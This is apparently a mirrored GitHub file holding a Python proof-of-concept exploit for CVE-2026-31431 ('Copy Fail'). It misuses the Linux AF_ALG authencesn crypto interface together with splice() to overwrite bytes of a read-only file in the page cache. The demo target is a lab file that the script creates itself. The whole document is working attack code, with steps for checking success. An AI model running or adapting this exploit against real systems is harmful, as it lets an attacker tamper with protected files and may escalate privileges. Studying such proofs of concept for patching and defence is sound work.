mirror of
https://github.com/4xura/CVE-2026-31431-Copy-Fail.git
synced 2026-05-26 13:20:48 +00:00
115 lines
No EOL
3.5 KiB
Python
115 lines
No EOL
3.5 KiB
Python
# copyfail_poc.py
|
|
import os
|
|
import struct
|
|
import socket
|
|
from pathlib import Path
|
|
|
|
AF_ALG = 38
|
|
SOL_ALG = 279
|
|
ALG_SET_KEY = 1
|
|
ALG_SET_IV = 2
|
|
ALG_SET_OP = 3
|
|
ALG_SET_AEAD_ASSOCLEN = 4
|
|
ALG_SET_AEAD_AUTHSIZE = 5
|
|
ALG_OP_DECRYPT = 0
|
|
CRYPTO_AUTHENC_KEYA_PARAM = 1
|
|
|
|
target = "./target.bin"
|
|
overwrite_off = 0x1234
|
|
authsize = 0x10
|
|
splice_len = 0x20
|
|
splice_off = overwrite_off - (splice_len - authsize)
|
|
|
|
write_value = b"PWN!"
|
|
aad = b"A" * 4 + write_value
|
|
|
|
def marker(label):
|
|
with target_path.open("rb") as f:
|
|
f.seek(overwrite_off)
|
|
b = f.read(4)
|
|
print(f"{label} @ 0x{overwrite_off:x} = {b.hex(' ')} ({b!r})")
|
|
|
|
print(f"[+] target : {Path(target).expanduser()}")
|
|
print(f"[+] overwrite : file offset 0x{overwrite_off:x}")
|
|
print(f"[+] splice : offset=0x{splice_off:x} len=0x{splice_len:x} authsize=0x{authsize:x}")
|
|
print(f"[+] write value : {write_value!r}")
|
|
|
|
# 1. Create a harmless read-only lab target.
|
|
target_path = Path(target).expanduser()
|
|
target_path.parent.mkdir(parents=True, exist_ok=True)
|
|
|
|
data = bytearray(b"X" * 0x3000)
|
|
data[overwrite_off:overwrite_off + 4] = b"ORIG"
|
|
target_path.write_bytes(data)
|
|
with target_path.open("rb") as f:
|
|
os.fsync(f.fileno())
|
|
target_path.chmod(0o444)
|
|
marker("[+] marker before")
|
|
|
|
# 2. Open AF_ALG transform socket.
|
|
tfm = socket.socket(AF_ALG, socket.SOCK_SEQPACKET, 0)
|
|
try:
|
|
tfm.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
|
|
except FileNotFoundError:
|
|
print("[!] AF_ALG could not resolve authencesn(hmac(sha256),cbc(aes)).")
|
|
print("[!] Check /proc/crypto and try: sudo modprobe authencesn")
|
|
raise
|
|
print("[+] bound AF_ALG: type=aead name=authencesn(hmac(sha256),cbc(aes))")
|
|
|
|
# 3. Configure the authenc-compatible key blob and authsize, then accept.
|
|
key_blob = (
|
|
struct.pack("HH", 8, CRYPTO_AUTHENC_KEYA_PARAM) +
|
|
struct.pack("!I", 16) +
|
|
(b"A" * 32) +
|
|
(b"B" * 16)
|
|
)
|
|
tfm.setsockopt(SOL_ALG, ALG_SET_KEY, key_blob)
|
|
tfm.setsockopt(SOL_ALG, ALG_SET_AEAD_AUTHSIZE, None, authsize)
|
|
print("[+] AEAD configured: authkey=32, enckey=16, authsize=0x10")
|
|
|
|
op, _ = tfm.accept()
|
|
print(f"[+] accepted operation socket: fd={op.fileno()}")
|
|
|
|
# 4. Queue attacker-controlled AAD.
|
|
# AAD[4:8] is the 4-byte value authencesn later writes.
|
|
iv = struct.pack("I", 16) + (b"\x44" * 16)
|
|
op.sendmsg(
|
|
[aad],
|
|
[
|
|
(SOL_ALG, ALG_SET_OP, struct.pack("I", ALG_OP_DECRYPT)),
|
|
(SOL_ALG, ALG_SET_IV, iv),
|
|
(SOL_ALG, ALG_SET_AEAD_ASSOCLEN, struct.pack("I", len(aad))),
|
|
],
|
|
socket.MSG_MORE,
|
|
)
|
|
print(f"[+] AAD queued: assoclen={len(aad)}, AAD[4:8]={write_value!r}")
|
|
|
|
# 5. Splice target file bytes into a pipe.
|
|
r, w = os.pipe()
|
|
fd = os.open(str(target_path), os.O_RDONLY)
|
|
|
|
os.splice(fd, w, splice_len, splice_off, None, 0)
|
|
print(f"[+] splice(file -> pipe): 0x{splice_len:x} bytes from file offset 0x{splice_off:x}")
|
|
|
|
# 6. Splice pipe into AF_ALG operation socket.
|
|
os.splice(r, op.fileno(), splice_len, None, None, 0)
|
|
print(f"[+] splice(pipe -> AF_ALG): 0x{splice_len:x} bytes")
|
|
|
|
# 7. Trigger decrypt. Authentication is expected to fail.
|
|
try:
|
|
op.recv(0x1000)
|
|
print("[+] recv returned data")
|
|
except OSError as e:
|
|
print(f"recv failed as expected: {e}")
|
|
|
|
marker("[+] marker after ")
|
|
print(f"[+] verify cached bytes : xxd -g1 -s 0x1220 -l 0x40 {target_path}")
|
|
print("[+] verify cache vs disk: sudo sh -c 'echo 3 > /proc/sys/vm/drop_caches'")
|
|
print(f"[+] then re-read : xxd -g1 -s 0x1220 -l 0x40 {target_path}")
|
|
print("[+] success signal : ORIG -> PWN! before drop_caches, then ORIG after drop_caches")
|
|
|
|
os.close(fd)
|
|
os.close(r)
|
|
os.close(w)
|
|
op.close()
|
|
tfm.close() |